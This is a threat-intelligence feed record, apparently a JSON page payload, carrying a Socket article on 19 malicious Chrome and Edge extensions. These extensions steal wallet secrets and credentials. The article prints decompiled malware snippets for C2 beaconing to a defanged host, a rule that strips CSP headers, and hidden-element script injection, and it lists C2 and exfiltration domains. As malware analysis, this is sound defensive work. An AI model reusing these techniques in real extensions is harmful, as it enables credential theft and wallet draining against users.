[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fQxq5NLpi4Fpp1kX9_U53HiTh4QKZItakh7vXBINMZns":3},{"article":4,"iocs":55},{"id":5,"title":6,"slug":7,"summary":8,"ai_summary":9,"brief":10,"full_text":11,"url":12,"image_url":13,"published_at":14,"ingested_at":15,"relevance_score":16,"entities":17,"category_id":34,"category":35,"article_tags":39},"9137fcaf-4b8e-43b7-95d5-2a5f84eb4b22","19 Chrome and Edge Extensions Deliver a Wallet Drainer and Credential-Stealing Payloads","19-chrome-and-edge-extensions-deliver-a-wallet-drainer-and-credential-stealing-p-e99425","Socket identified 19 malicious extensions published in the last six months, delivering an extendable malware framework. Identified malware samples create WebSocket communication channel with command and control (C2) server, perform CSP stripping and abuse XSS injection to trigger execution of malicious payloads previously downloaded from the C2 server. Malicious capabilities are primarily focused on, but not limited to, wallet secret stealing and crypto draining. The most impactful tactic is acquisition of established extensions offered for sale with an existing user base, which then get weaponized with malicious functionality. The Socket Threat Research team identified 18 Chrome extensions and 1 Edge extension sharing similarities in malicious code and malware operation techniques. The malicious versions of identified extensions were published in the last six months, but code and technique similarities reveal a connection to a campaign initially reported by DomainTools, dating back to February 2024. Malware from this campaign has previously also been described in a research investigation conducted by Secure Annex. All of identified extensions implement the same publishing approach. The first version implements the advertised functionality and is clean of malware. Later, when a base trust is established, a new version is published, introducing the malicious behavior. Identified extensions can be separated into 14 threat actor created extensions and 5 extensions bought from legitimate authors. They implement different utility tools: SEO stats checkers, crypto price monitors, screen search utilities, and ad spying tools. The “Enable Right Click & Copy — Smart Unlock + OCR“ extension has the largest potential impact. It was initially developed by a legitimate organization, PreppHint, before eventually being acquired by the threat actor. At the time when the malicious functionality was introduced, the extension had around 70,000 users. While that does not necessarily mean all of the users had the malicious version installed, it still represents a significant exposure surface. This is especially true given that the Chrome extension update settings default to auto-updating to the latest version of the extension at startup and periodically every few hours. Combined with the Edge version of the extension, which contains the same malware and has around 10,000 users, this extension has a potential impact surface of 80,000 users. At the moment of writing, the Chrome extension was already identified as malicious and removed from the Chrome Web Store, but the Edge version of the extension is still active and serving malware. The finding has been reported to the Edge extension store. Initially both Chrome and Edge versions of the extension used the same C2 domain, but after the Chrome extension got identified as malware, a new version of the Edge extension was published with an updated C2 domain on August 14th, 2026. # All of the identified extensions use similar code execution techniques and contain recognizable code patterns. While this C2 communication and code execution framework is shared across all the extensions, the pluggable design indicates that the final payload is highly modifiable and likely changes over the time. But the ultimate targets and motivation most likely remain the same - wallet secret stealing and crypto draining. All of the malicious code extensions follow the same design patterns and they are easily recognizable in code across different extensions. Covert Communication Channel The background service worker uses a consistent data structure for managing C2 communication and job orchestration. It stores information about userId, connection and execution timings and downloaded code modules (nodes) using the dedicated Chrome extension local storage API (chrome.storage). var S = () => e.storage.local, C = async e => (await S().get(e))[e], w = (e, t) => S().set({ [e]: t }), T = { userId: `user-identifier`, installed: `deployed`, lastActive: `latest-interaction`, activityTimeout: `inactivity-limit`, nodes: `nodes`, welcomeShown: `welcome-shown`, analyticsConsent: `analytics-consent` }, E = new TextEncoder, D = new TextDecoder, O = 12; async function k () { let e = await C(T.userId); if (e) return e; let t = crypto.randomUUID(); return await w(T.userId, t), t } The background service worker establishes a communication channel to the C2 server. The latest malware versions build and maintain a persistent WebSocket connection, with 5-minute heartbeat interval, while all errors are silently swallowed. Worth noting is that the loading framework supports rotation of the C2 endpoint based on instructions received from the initial C2 server and this behavior has been observed in the wild. That functionality enables threat actors to distribute victims to different groups and dedicated C2 infrastructure and to reduce the detection risk. Data exfiltration endpoint is also dynamically received from the C2 instructions enabling a per-victim exfiltration channel. var G = async () => { let t = { \u002F\u002F default configuration \u002F\u002F different C2 endpoints are used in each extension \u002F\u002F but the 'uuid' and 'extension' query parameters remain identical accross the campaign endpoint: `wss:\u002F\u002F\u002Fapi[.]active-enable-right-click[.]top\u002F?uuid=${await k()}&extension=${e.runtime.id}`, timings: { ping: 25e3 } }, n = await C(T.nodes); if (n) try { \u002F\u002F use configuration retrieved from C2 and stored in local storage if present let e = await N(n); if (e?.endpoint) return { endpoint: e.endpoint, timings: { ping: e.timings?.ping || 25e3, report: e.timings?.report } } } catch {} return t }, K = { creating: !1, intervalStarted: !1 }, he = () => { \u002F\u002F default 5-min hartbeat interval K.intervalStarted || (K.intervalStarted = !0, setInterval(() => q().catch(() => {}), 3e5)) } Incoming WebSocket messages deliver malicious modules in form of JavaScript snippets that get encrypted and stored in the nodes Chrome local storage key. The communication is encrypted with AES-GCM using a key derived from SHA-256 hash of the extensionId and installUUID. var A = null; async function j () { if (A) return A; let t = `${e.runtime.id}-${await k()}`, \u002F\u002Ffunction k() returns installUUID n = await crypto.subtle.digest(`SHA-256`, E.encode(t)); return A = await crypto.subtle.importKey(`raw`, n, { name: `AES-GCM` }, !1, [`encrypt`, `decrypt`]), A } Content Security Policy (CSP) Stripping # The Content Security Policy (CSP) header tells the browser which dynamic resources, scripts, and domains are trusted and allowed to execute, acting as a primary defense against cross-site scripting (XSS) and data injection. On startup the background service worker registers a dynamic declarativeNetRequest browser rule that strips Content-Security-Policy headers from every page, all frames, and on every site the user visits. CSP stripping is necessary to enable the injection technique used to include malicious JavaScript code modules on targeted websites. var n = !1, r = e => e, i = () => ({ id: 1, priority: 1, condition: { urlFilter: `*`, resourceTypes: r([`xmlhttprequest`, `main_frame`, `sub_frame`]) }, action: { type: `modifyHeaders`, responseHeaders: [{ operation: `remove`, header: `content-security-policy` }, { operation: `remove`, header: `content-security-policy-report-only` }, { operation: `remove`, header: `x-webkit-csp` }, { operation: `remove`, header: `x-content-security-policy` }] } }), a = async () => { try { (await e.declarativeNetRequest.getDynamicRules()).some(e => e.id === 1) || await e .declarativeNetRequest.updateDynamicRules({ addRules: [i()], removeRuleIds: [] }) } catch {} } JavaScript Injection # The threat actors use all of the mechanisms provided by Chrome extension architectural design to implement the malware loading framework. Chrome extensions typically define a background worker responsible for logical or time-costly operations, and content scripts that run in the context of web pages and can interact with and modify content of the visited websites. They use the concept of “Message Passing” chrome.runtime.sendMessage to establish communication with the background service worker. The data can also be passed between the content scripts and service workers by using the Chrome extension storage API . Content scripts can be defined statically or dynamically. Older versions of malware samples defined the content scripts statically in the extension’s manifest.json file to automatically run whenever a user visits any webpage by defining a wildcard matching pattern. That technique can be noisy and easier to spot then triggering the script injection dynamically via chrome.scripting.executeScript which is observed in newer versions of the malware. With the CSP protections previously stripped, content scripts are used by the malware loading framework to trigger the execution of malicious JavaScript code modules. These are the same modules which the background service worker previously downloaded from the C2 server and stored to the Chrome extension storage API. Content scripts create hidden DOM elements ( , , ) in the websites that user visits. Malicious modules are defined as event handlers for these hidden elements, allowing them to be executed in the main world. In the Chrome browser, the main world is the default execution environment where a web page's own JavaScript and webpage scripts run. While it shares DOM access with extensions, it maintains a separate JavaScript heap from the isolated worlds used by browser extensions. Finally, once everything is set up, a new event for the defined event handler is generated, forcibly triggering the execution of the malicious module. The previously created element is then immediately removed to avoid leaving evidence. function i (e) { if (!e || !(document.body || document.documentElement)) return null; let t = document.createElement(`input`); return t.type = `hidden`, t.style.display = `none`, t.setAttribute(`onchange`, e), t } function c (e) { let t = i(e); if (!t) return; let n = document.body || document.documentElement; n && (n.appendChild(t), t.value = `true`, t.dispatchEvent(new Event(`change`)), t.remove()) } Malicious Modules # Everything described until this point explains how the malware loading framework works. The actual payloads that perform malicious operations are highly extensible and change over time. Details are provided for the modules observed in the communication with the C2 server defined in the “Enable Right Click & Copy — Smart Unlock + OCR” extension. As mentioned earlier, the main focus of operations is wallet secret stealing and crypto draining. The observed list includes 16 modules which can be divided into several groups. 1. Multi-chain wallet drainer. Detects EVM, Solana and Tron wallets. Loads a chain-specific second stage from a dedicated domain (cookie-whitelist.top, whale-alert.art) then hijacks the site’s real “Connect Wallet” \u002F “Swap” buttons. It clones the button to strip the site’s own handlers, attaches threat actor defined handlers, dismisses the genuine wallet dialog, and drives the connect\u002Fapprove flow to authorize theft. 2. Hardware-wallet seed-phrase phishing (superior-trezor \u002F superior-ledger). On trezor.io and ledger.com it performs a full-page DOM takeover, fetching a pixel-accurate fake “Ledger Live \u002F Trezor” update-and-restore wizard from a dedicated content serving domain ggle-analytics.com. The flow walks the victim through entering their 12\u002F18\u002F24-word recovery phrase, which is captured and exfiltrated. Stolen phrase leads to the complete compromise of the underlying wallet. 3. Exchange & wallet account harvesters. This group includes session-riding modules that read balances and authenticated session material (cookies, bearer\u002Fauthorization tokens, account\u002Fprofile data) directly from the victim’s logged-in tabs. Targeted services are OKX, MEXC, Kraken, KuCoin, Coinbase, Binance, Bybit, and MetaMask. The collected information represents both portfolio intelligence and the session material needed for account takeover. 4. Universal credential\u002Fform grabber (superior-grabber). This module hooks focus, input, change, blur, and mutation events across every text, password and email input on every page, including same-origin iframes. It captures input values, groups them into batches, and exfiltrates them at predefined time intervals together with page fingerprint data. 5. Social-media theft. A Facebook module harvests Facebook access tokens, business, billing and professional-dashboard data. A LinkedIn module registers a rogue in-page service worker to strip LinkedIn anti-CSRF headers and abuse the logged-in session. 6. Browser-history exfiltration (superior-history). A Dedicated module exfiltrates the victim’s browsing history. 7. ClickFix fake-update lures (superior-updater). This module injects a fake browser-update page, modal or bar from a dedicated content serving domain ggle-analytics.com . It implements decoy behavior - without expected referrers or user-agents browser headers it serves alternative content. One lure displays a fake “Chrome — Update available” page that copies an attacker-supplied command to the clipboard, then uses OS-specific screenshots to instruct the victim to paste and run it. As explained, this list is not exhaustive nor final. The malware is evolving over time and new payloads are expected. Campaign History # Socket is tracking this campaign under the name “Superior” based on the tags observed in the names of the malicious JavaScript modules. The beginning of the campaign dates back to February 2024. This conclusion is based on the similarities observed in techniques and operational methods that overlap with a previous threat research investigation conducted by DomainTools. Beside the operational similarities and code techniques, domain naming similarity has also been observed. A significant number of domains in both research investigations use the .top top-level domain for primary C2 hosting. The second major similarity is in domain naming. Examples include the servers used for hosting of wallet drainer scripts: cookie-whitelist[.]top and whale-alert[.]art - observed in this research cookie-whitelist[.]com and whale-alert[.]life - observed in DomainTools research dataset # The threat actor behind this campaign is determined to keep the campaign alive and active and has been successfully doing it for more than 2 years. An advanced architectural design and a very well consolidated background operational system proves that this is the work of a very capable threat actor. Separation of logic responsible for the malware operation from the actual implementation of malicious functionalities delivered through the malicious modules helps reduce the detection risk and keep the campaign under the radar. Support for C2 rotation and delegation from the primary C2 server, together with distinct communication channels for data exfiltration and delivery of additional malicious scripts, helps keep the campaign operational even after the initial compromise gets discovered and the primary C2 server gets taken down. The biggest risk for end-users is the operational technique in which the threat actor successfully acquires legitimate extensions and releases new versions empowered with malicious functionality. That approach, combined with Chrome's default extension update settings, performs auto-updating to the latest version of extension, providing the threat actor with a powerful vector to maximize the impact and reach of the extension acquisition. If an extension with 10,000 users can be bought for less than $2,000 then it represents an attractive opportunity for the threat actor. Another problem is that extension users don’t get notified when extension ownership gets changed, leaving them unaware of the risk level that suddenly increased. Extension users need to exercise caution when installing extensions. Continual monitoring is vital because a reliable tool can change instantly. Review your installed extensions regularly and remove any you don’t need or find suspicious to narrow the exposed surface. Think twice before you decide to add a new extension to your browser. Ask yourself: Is it really necessary? While we primarily observed this campaign in the Chrome extension ecosystem, the discovery of the latest malicious Edge extensions proves that it has expanded to Microsoft Edge. Indicators of Compromise # Network Indicators Primary C2 Domains active-enable-right-click[.]top api[.]enable-right-click[.]click enable-right-click[.]click payload[.]siteinsight[.]bond api[.]extensionanalyticspro[.]top password-protect-pdf[.]com privatecryptonewsreader[.]pro cryptoratesfiatconverter[.]pro cryptopricebadgequickglance[.]pro ws[.]site-signal[.]top content[.]resonanceweb[.]top api[.]creativelibrary[.]top api[.]codefilearc[.]net ws[.]seopulsepro[.]sbs relay[.]seopulsepro[.]sbs defipulsetracker[.]pro blockfolioaddressmonitor[.]pro pricealarmsvolatilitywarnings[.]pro extension[.]io-safe[.]icu feedback[.]feedx-ray[.]top DomainTools Research Related domains from the DomainTools research Additional Domains lucky-random[.]sbs - secondary C2 pipi[.]saghirmohamed19[.]workers[.]dev - Cloudflare Worker data exfiltration sink mimi[.]saghirmohamed19[.]workers[.]dev - Cloudflare Worker data exfiltration sink cookie-whitelist[.]top - hosting of wallet drainer scripts whale-alert[.]art - hosting of wallet drainer scripts ggle-analytics[.]co[m]( ) - hosting of fake update pages Extension IDs Extensions Bought by the Threat Actor These are legitimate extensions with proper functionality, which were acquired by the threat actor at some moment and then powered up with the malicious functionality. pkoccklolohdacbfooifnpebakpbeipc - Enable Right Click & Copy — Smart Unlock + OCR fegckejpfnlmfgkfjpinlbgmeeijjkel - RapidLens - Google Lens for Screen Search & Images kdenlnncndfnhkognokgfpabgkgehodd - QuickLens - Search Screen with Google Lens jamminefolhgepgihbmcjjhgldbfcikp - Password Protect PDF inmkjedjdhgpknjogbjomhnbgdccckkg - Allow Copy - Select & Enable Right Click (Edge extension) Threat Actor Created Extensions fcgdejjichpgfaaafflplhfijcnieopb - PixelCheck cfpnjdbpojpcongfaefcamjbaolpelcd - Creative Library - Ad Spy Tool aapdalkmclfaahehnmicbglkohkldhne - Website Traffic Checker: MirrorSphere SEO Stats dkdadldmiefjldmegbjbnhhfddnkhlhm - Site Signal - Website Traffic & SEO Checker fjmlhlkccegopebcllcmafahkmeejpph - SEO Pulse Pro - Website Traffic & SEO Analyzer iekoapohahgmogbagegmcgplbkikcgke - Private Crypto News Reader ahpnnnjbnfbhoikhohglpohnoocjcoco - Blockfolio: Address Monitor oeacadlaclegkkkdehjmiifnjhcekclj - Crypto Rates & Fiat Converter jmlgannjlbliikgcaieomgmcnfplglea - Crypto Alerter: Price Alarms & Volatility Warnings lhmcajhgadanidbopgaoobjlldegjmke - DeFi Pulse Tracker gfackggoapepdmnjnkblogdcjpgcjiak - Crypto Price Badge: Quick Glance hfijkbdkpidafdbeebnnkhfccildbcle - Multi-Chain Explorer pcngchfbfgejllcbhmeadjhiebebiome - LedgerLook: Wallet Checker aodkjdeghbjiaienipfjkbpcikkacbcp - Meta & Facebook Ad Library Spy — Save Ads, Finder, Downloader | FeedX-Ray","Socket researchers identified 19 malicious browser extensions (18 Chrome, 1 Edge) deployed over six months as part of the \"Superior\" campaign dating back to February 2024. The extensions employ sophisticated techniques including CSP stripping, XSS injection, and WebSocket C2 communication to deliver modular payloads focused on cryptocurrency wallet theft, credential harvesting, and session hijacking. The threat actors acquire legitimate extensions with established user bases—notably \"Enable Right Click & Copy\" with ~80,000 combined users across Chrome and Edge—then weaponize them with malicious functionality while leveraging browser auto-update mechanisms for maximum impact.","Socket discovers 19 malicious Chrome and Edge extensions delivering wallet drainers and credential-stealing payloads.","Back[Research][Security News]19 Chrome and Edge Extensions Deliver a Wallet Drainer and Credential-Stealing PayloadsSocket researchers found 18 Chrome extensions and one Edge extension delivering a wallet drainer, credential theft, and other malicious payloads.Karlo ZankiAug 27, 2026|10 min readSocket identified 19 malicious extensions published in the last six months, delivering an extendable malware framework. Identified malware samples create WebSocket communication channel with command and control (C2) server, perform CSP stripping and abuse XSS injection to trigger execution of malicious payloads previously downloaded from the C2 server. Malicious capabilities are primarily focused on, but not limited to, wallet secret stealing and crypto draining. The most impactful tactic is acquisition of established extensions offered for sale with an existing user base, which then get weaponized with malicious functionality.The Socket Threat Research team identified 18 Chrome extensions and 1 Edge extension sharing similarities in malicious code and malware operation techniques. The malicious versions of identified extensions were published in the last six months, but code and technique similarities reveal a connection to a campaign initially reported by DomainTools, dating back to February 2024. Malware from this campaign has previously also been described in a research investigation conducted by Secure Annex.All of identified extensions implement the same publishing approach. The first version implements the advertised functionality and is clean of malware. Later, when a base trust is established, a new version is published, introducing the malicious behavior. Identified extensions can be separated into 14 threat actor created extensions and 5 extensions bought from legitimate authors. They implement different utility tools: SEO stats checkers, crypto price monitors, screen search utilities, and ad spying tools.The “Enable Right Click & Copy — Smart Unlock + OCR“ extension has the largest potential impact. It was initially developed by a legitimate organization, PreppHint, before eventually being acquired by the threat actor. At the time when the malicious functionality was introduced, the extension had around 70,000 users. While that does not necessarily mean all of the users had the malicious version installed, it still represents a significant exposure surface. This is especially true given that the Chrome extension update settings default to auto-updating to the latest version of the extension at startup and periodically every few hours. Combined with the Edge version of the extension, which contains the same malware and has around 10,000 users, this extension has a potential impact surface of 80,000 users.At the moment of writing, the Chrome extension was already identified as malicious and removed from the Chrome Web Store, but the Edge version of the extension is still active and serving malware. The finding has been reported to the Edge extension store. Initially both Chrome and Edge versions of the extension used the same C2 domain, but after the Chrome extension got identified as malware, a new version of the Edge extension was published with an updated C2 domain on August 14th, 2026.Shared Code Patterns & Techniques#All of the identified extensions use similar code execution techniques and contain recognizable code patterns. While this C2 communication and code execution framework is shared across all the extensions, the pluggable design indicates that the final payload is highly modifiable and likely changes over the time. But the ultimate targets and motivation most likely remain the same - wallet secret stealing and crypto draining.All of the malicious code extensions follow the same design patterns and they are easily recognizable in code across different extensions.Covert Communication Channel#The background service worker uses a consistent data structure for managing C2 communication and job orchestration. It stores information about userId, connection and execution timings and downloaded code modules (nodes) using the dedicated Chrome extension local storage API (chrome.storage).JavaScriptvar S = () => e.storage.local, C = async e => (await S().get(e))[e], w = (e, t) => S().set({ [e]: t }), T = { userId: `user-identifier`, installed: `deployed`, lastActive: `latest-interaction`, activityTimeout: `inactivity-limit`, nodes: `nodes`, welcomeShown: `welcome-shown`, analyticsConsent: `analytics-consent` }, E = new TextEncoder, D = new TextDecoder, O = 12; async function k () { let e = await C(T.userId); if (e) return e; let t = crypto.randomUUID(); return await w(T.userId, t), t }The background service worker establishes a communication channel to the C2 server. The latest malware versions build and maintain a persistent WebSocket connection, with 5-minute heartbeat interval, while all errors are silently swallowed. Worth noting is that the loading framework supports rotation of the C2 endpoint based on instructions received from the initial C2 server and this behavior has been observed in the wild. That functionality enables threat actors to distribute victims to different groups and dedicated C2 infrastructure and to reduce the detection risk. Data exfiltration endpoint is also dynamically received from the C2 instructions enabling a per-victim exfiltration channel.JavaScriptvar G = async () => { let t = { \u002F\u002F default configuration \u002F\u002F different C2 endpoints are used in each extension \u002F\u002F but the 'uuid' and 'extension' query parameters remain identical accross the campaign endpoint: `wss:\u002F\u002F\u002Fapi[.]active-enable-right-click[.]top\u002F?uuid=${await k()}&extension=${e.runtime.id}`, timings: { ping: 25e3 } }, n = await C(T.nodes); if (n) try { \u002F\u002F use configuration retrieved from C2 and stored in local storage if present let e = await N(n); if (e?.endpoint) return { endpoint: e.endpoint, timings: { ping: e.timings?.ping || 25e3, report: e.timings?.report } } } catch {} return t }, K = { creating: !1, intervalStarted: !1 }, he = () => { \u002F\u002F default 5-min hartbeat interval K.intervalStarted || (K.intervalStarted = !0, setInterval(() => q().catch(() => {}), 3e5)) }Incoming WebSocket messages deliver malicious modules in form of JavaScript snippets that get encrypted and stored in the nodes Chrome local storage key. The communication is encrypted with AES-GCM using a key derived from SHA-256 hash of the extensionId and installUUID.JavaScriptvar A = null; async function j () { if (A) return A; let t = `${e.runtime.id}-${await k()}`, \u002F\u002Ffunction k() returns installUUID n = await crypto.subtle.digest(`SHA-256`, E.encode(t)); return A = await crypto.subtle.importKey(`raw`, n, { name: `AES-GCM` }, !1, [`encrypt`, `decrypt`]), A }Content Security Policy (CSP) Stripping#The Content Security Policy (CSP) header tells the browser which dynamic resources, scripts, and domains are trusted and allowed to execute, acting as a primary defense against cross-site scripting (XSS) and data injection. On startup the background service worker registers a dynamic declarativeNetRequest browser rule that strips Content-Security-Policy headers from every page, all frames, and on every site the user visits. CSP stripping is necessary to enable the injection technique used to include malicious JavaScript code modules on targeted websites.JavaScriptvar n = !1, r = e => e, i = () => ({ id: 1, priority: 1, condition: { urlFilter: `*`, resourceTypes: r([`xmlhttprequest`, `main_frame`, `sub_frame`]) }, action: { type: `modifyHeaders`, responseHeaders: [{ operation: `remove`, header: `content-security-policy` }, { operation: `remove`, header: `content-security-policy-report-only` }, { operation: `remove`, header: `x-webkit-csp` }, { operation: `remove`, header: `x-content-security-policy` }] } }), a = async () => { try { (await e.declarativeNetRequest.getDynamicRules()).some(e => e.id === 1) || await e .declarativeNetRequest.updateDynamicRules({ addRules: [i()], removeRuleIds: [] }) } cat","https:\u002F\u002Fsocket.dev\u002Fblog\u002Fchrome-edge-extension-wallet-drainer?utm_medium=feed","https:\u002F\u002Fcdn.sanity.io\u002Fimages\u002Fcgdhsj6q\u002Fproduction\u002F3ae0a96544273d8ce605634adab9baeb772da408-1672x941.png?w=1000&q=95&fit=max&auto=format","2026-08-27T16:01:21.63+00:00","2026-08-27T18:01:21.182756+00:00",9,[18,21,24,27,29,32],{"name":19,"type":20},"Superior (campaign attribution)","threat_actor",{"name":22,"type":23},"Superior","campaign",{"name":25,"type":26},"Chrome","product",{"name":28,"type":26},"Microsoft Edge",{"name":30,"type":31},"Google","vendor",{"name":33,"type":31},"Microsoft","89f78b1c-3503-45a1-9fc7-e23d2ce1c6d5",{"id":34,"icon":36,"name":37,"slug":38},null,"Malware","malware",[40,45,50],{"category":41},{"id":42,"icon":36,"name":43,"slug":44},"26b0b636-0e31-4db1-bffb-61bdf9f20a58","Supply Chain","supply-chain",{"category":46},{"id":47,"icon":36,"name":48,"slug":49},"2c8f44d4-b56e-47cf-9677-04f22c9ee78d","Identity & Access","identity-access",{"category":51},{"id":52,"icon":36,"name":53,"slug":54},"e7b231c8-5f79-4465-8d38-1ef13aea5a14","Threat Intelligence","threat-intelligence",[56,60,63,66,69,72,75,78,81,84,86,88,91,93],{"type":57,"value":58,"context":59},"domain","active-enable-right-click.top","Primary C2 domain used in malicious extensions",{"type":57,"value":61,"context":62},"api.enable-right-click.click","C2 communication endpoint",{"type":57,"value":64,"context":65},"cookie-whitelist.top","Hosting of multi-chain wallet drainer scripts",{"type":57,"value":67,"context":68},"whale-alert.art","Hosting of wallet drainer scripts",{"type":57,"value":70,"context":71},"ggle-analytics.com","Hosting of fake hardware wallet update\u002Frestore wizards and fake browser update pages",{"type":57,"value":73,"context":74},"payload.siteinsight.bond","C2 payload delivery domain",{"type":57,"value":76,"context":77},"enable-right-click.click","Primary C2 domain",{"type":57,"value":79,"context":80},"password-protect-pdf.com","C2 domain associated with malicious extensions",{"type":57,"value":82,"context":83},"privatecryptonewsreader.pro","C2 domain",{"type":57,"value":85,"context":83},"defipulsetracker.pro",{"type":57,"value":87,"context":83},"blockfolioaddressmonitor.pro",{"type":57,"value":89,"context":90},"pipi.saghirmohamed19.workers.dev","Cloudflare Worker used for data exfiltration",{"type":57,"value":92,"context":90},"mimi.saghirmohamed19.workers.dev",{"type":38,"value":22,"context":94},"Campaign name tracking the malicious extension framework dating back to February 2024"]